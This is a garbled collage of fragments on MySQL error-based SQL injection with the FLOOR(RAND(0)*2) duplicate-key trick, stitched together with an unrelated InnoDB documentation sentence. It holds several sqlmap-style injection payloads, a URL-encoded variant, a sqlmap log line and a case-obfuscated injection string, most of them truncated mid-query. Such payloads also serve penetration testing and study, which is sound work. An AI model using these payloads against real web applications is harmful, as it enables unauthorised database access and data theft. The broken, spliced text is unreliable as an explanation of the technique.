The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: ID=372 AND (SELECT 1815 FROM(SELECT COUNT(*),CONCAT(0x71766a7071
...(SELECT (CASE WHEN (6574=6574) THEN 1 ELSE 0 END)),0x3a7967673a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a).
or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 2488 FROM(SELECT COUNT
...Cinema+AND+(SELECT+6935+FROM(SELECT+COUNT(*),CONCAT(0x717a626b71,(SELECT+(ELT(6935=6935,1))),0x716a7a6a71,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a).
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jjhL'='jjhL&Submit=Submit.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)and'. [22:45:26] [INFO] the back-end DBMS is MySQL web application technology: PHP
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InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.
SELECT * FROM Figures WHERE tPath='1' and(SeLeCt 1 FrOm(SeLeCt count(*),CoNcAt((SeLeCt(SeLeCt CoNcAt